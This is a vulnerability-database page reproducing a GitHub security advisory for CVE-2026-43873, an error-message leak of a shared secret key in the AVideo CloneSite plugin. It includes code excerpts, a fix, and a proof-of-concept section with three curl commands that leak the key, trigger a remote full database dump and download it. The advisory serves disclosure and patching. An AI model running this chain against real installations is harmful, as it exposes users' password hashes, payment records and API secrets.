Skip to main content

PHP CVE-2026-43873

HIGH
Error Message Information Leak (CWE-209)
2026-05-05 https://github.com/WWBN/AVideo GHSA-qm9p-p5pw-jrx2
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 05, 2026 - 19:32 vuln.today
Analysis Generated
May 05, 2026 - 19:32 vuln.today

DescriptionGitHub Advisory

Summary

plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone->myKey, a constant md5($global['systemRootPath'] . $global['salt'])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server's cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote's database to the remote's public videos/clones/ directory.

Details

1. The leak (plugin/CloneSite/cloneClient.json.php:51-60)

php
$objCloneOriginal = $objClone;
$argv[1] = preg_replace("/[^A-Za-z0-9 ]/", '', empty($argv[1])?'':$argv[1]);

if (empty($objClone) || empty($argv[1]) || $objClone->myKey !== $argv[1]) {
    if (!User::isAdmin()) {
        $resp->msg = "You can't do this";
        $log->add("Clone: {$resp->msg}");
        echo "$objClone->myKey !== $argv[1]";   // <-- interpolates myKey
        die(json_encode($resp));
    }
}

Under PHP's web SAPI, the script-scope $argv global is not populated from the query string (only $_SERVER['argv'] is populated, and only when register_argc_argv=On). Verified on this host (PHP 8.4.16, built-in web server):

bool(false)
# isset($argv)
string(9) "undefined"
# $argv ?? 'undefined'
string(9) "undefined"
# $_SERVER['argv']
string(9) "undefined"
# $argv[1]
bool(true)
# empty($argv[1])

Because empty($argv[1]) is true, line 51's preg_replace returns '' and $argv[1] becomes ''. Line 53 therefore enters the outer if (empty key). User::isAdmin() returns false for unauthenticated callers, so line 57 runs and echoes the contents of $objClone->myKey into the response body before die(). The response body looks like:

<32-hex-char md5> !== {"error":true,"msg":"You can't do this"}

The 32-hex prefix is the local myKey.

2. Where myKey comes from (plugin/CloneSite/CloneSite.php:67)

php
$obj->myKey = md5($global['systemRootPath'].$global['salt']);

myKey is a static per-installation value generated from systemRootPath and salt. It never rotates.

3. Why the leaked key is dangerous (cross-site chain)

cloneClient.json.php:75 shows myKey is the credential the client presents to its configured remote clone server:

php
$url = $objClone->cloneSiteURL . "plugin/CloneSite/cloneServer.json.php?url="
     . urlencode($global['webSiteRootURL']) . "&key={$objClone->myKey}&useRsync=" . intval($objClone->useRsync);

On the remote side, plugin/CloneSite/cloneServer.json.php:32-42 calls Clones::thisURLCanCloneMe($_GET['url'], $_GET['key']), which in plugin/CloneSite/Objects/Clones.php:73-101 does only:

php
$clone = new Clones(0);
$clone->loadFromURL($url);
...
if ($clone->getKey() !== $key) { $resp->msg = "Invalid Key"; return $resp; }
if ($clone->getStatus() !== 'a') { ... }

For any federation pair the remote admin has approved (status='a'), supplying url=<victim>&key=<leaked myKey> passes this check. cloneServer.json.php:86-90 then runs an unconditional mysqldump of every table except CachesInDB:

php
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} ".
       " --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);
...
echo json_encode($resp);   // includes $resp->sqlFile = "Clone_mysqlDump_<uniqid>.sql"

The dump lands in {videosDir}/clones/<sqlFile>, and videos/ is a public static directory in default AVideo deployments, so the attacker can fetch it with one more unauthenticated request.

4. Not fixed by the previous clones.json.php hardening

Commit 160e02635/earlier added if (!User::isAdmin()) guards to plugin/CloneSite/clones.json.php (the table-management endpoint that lists server-side per-client keys, previously advisory-submitted as CWE-306). That fix does not apply to cloneClient.json.php, which is a separate file and discloses a structurally different secret (the local myKey, not the per-URL server-side keys).

PoC

Prerequisite: target installation has the CloneSite plugin enabled with a configured cloneSiteURL (this is the standard use: federated backup / site cloning). No authentication required.

Step 1 - leak the local myKey (unauthenticated GET):

bash
curl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php'

Response body:

3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {"error":true,"msg":"You can't do this"}

The 32-hex-character prefix is $objClone->myKey.

Step 2 - use the leaked myKey to make the victim's configured remote dump its own database:

bash
curl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0'

Response (truncated):

json
{"error":false,"url":"https://victim.example.com/","key":"...","videosDir":"...","sqlFile":"Clone_mysqlDump_65f3a2b14c7e8.sql","videoFiles":[...],"photoFiles":[...]}

Step 3 - download the full database dump from the remote's public videos/ directory:

bash
curl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql'

This file contains every table except CachesInDB - users (including password hashes), payment records, API secrets, plugin configuration, etc.

Impact

  • Any unauthenticated attacker can retrieve the CloneSite shared secret (myKey) of any AVideo installation that has the plugin enabled. myKey is static and never rotates on its own.
  • When that installation is federated with a remote CloneSite server (the standard use of the plugin), the leaked key permits the attacker to impersonate the victim client to the remote. cloneServer.json.php on the remote performs no additional authentication, runs an unconditional mysqldump, and places the result under the web-accessible videos/clones/ directory - so a single leaked myKey leads to a full database dump (users, password hashes, payment and plugin configuration, API credentials) of the remote partner, downloadable over HTTP.
  • The compromise crosses the federation boundary: leaking the key on site A yields the database of site B. This is scope-changing in practice even if CVSS scope is formally Unchanged.
  • The clones.json.php hardening (the previously reported CWE-306 fix) does not cover this path; cloneClient.json.php is a distinct file that exposes a structurally different credential.

Recommended Fix

Do not echo the expected key in the rejection message, and reject non-CLI / non-admin callers cleanly. Example patch for plugin/CloneSite/cloneClient.json.php:51-60:

php
// Only accept the key argument from actual CLI invocations (intended usage:
// cron "php .../cloneClient.json.php <myKey>"). Over HTTP, require admin.
$cliKey = (PHP_SAPI === 'cli' && !empty($argv[1]))
    ? preg_replace("/[^A-Za-z0-9 ]/", '', $argv[1])
    : '';

if (empty($objClone) || empty($cliKey) || $objClone->myKey !== $cliKey) {
    if (!User::isAdmin()) {
        $resp->msg = "You can't do this";
        $log->add("Clone: {$resp->msg}");
        // Do NOT echo $objClone->myKey - it is a shared secret used to
        // authenticate to the configured remote clone server.
        die(json_encode($resp));
    }
}

Additional hardening recommended:

  • Replace the static myKey = md5(systemRootPath . salt) with a randomly generated, per-installation key stored in the plugin configuration that can be rotated (see similar advice from GHSA-wqcc-qf63-c2x4 / CWE-331 on AVideo secret generation).
  • On the remote side (cloneServer.json.php), consider requiring the sqlFile path to be unguessable (already is, via uniqid()) AND gating the dump behind an IP allowlist or an additional pre-shared rotating token, so that loss of a client's myKey does not immediately yield a full database dump.
  • Serve videos/clones/ with an .htaccess/nginx rule that denies direct HTTP access, so that even if a rogue client is authenticated, the dump is not downloadable over the web.

AnalysisAI

Unauthenticated information disclosure in AVideo CloneSite plugin (versions ≤29.0) leaks the installation's shared secret authentication key through an error message, enabling attackers to impersonate the victim installation to its federated clone server and trigger a full database dump into a publicly accessible directory. The vulnerability chains two flaws: cloneClient.json.php echoes the local myKey credential in HTTP responses to any unauthenticated request due to incorrect $argv handling in web contexts, and the remote cloneServer.json.php then accepts this leaked key to authenticate mysqldump operations without IP restrictions or access controls on the resulting dump files. Patch available via GitHub commit e6566f56. No evidence of active exploitation (not in CISA KEV); EPSS data not provided. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects high confidentiality impact from direct credential exposure plus cross-site database access in federated deployments.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-43873 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy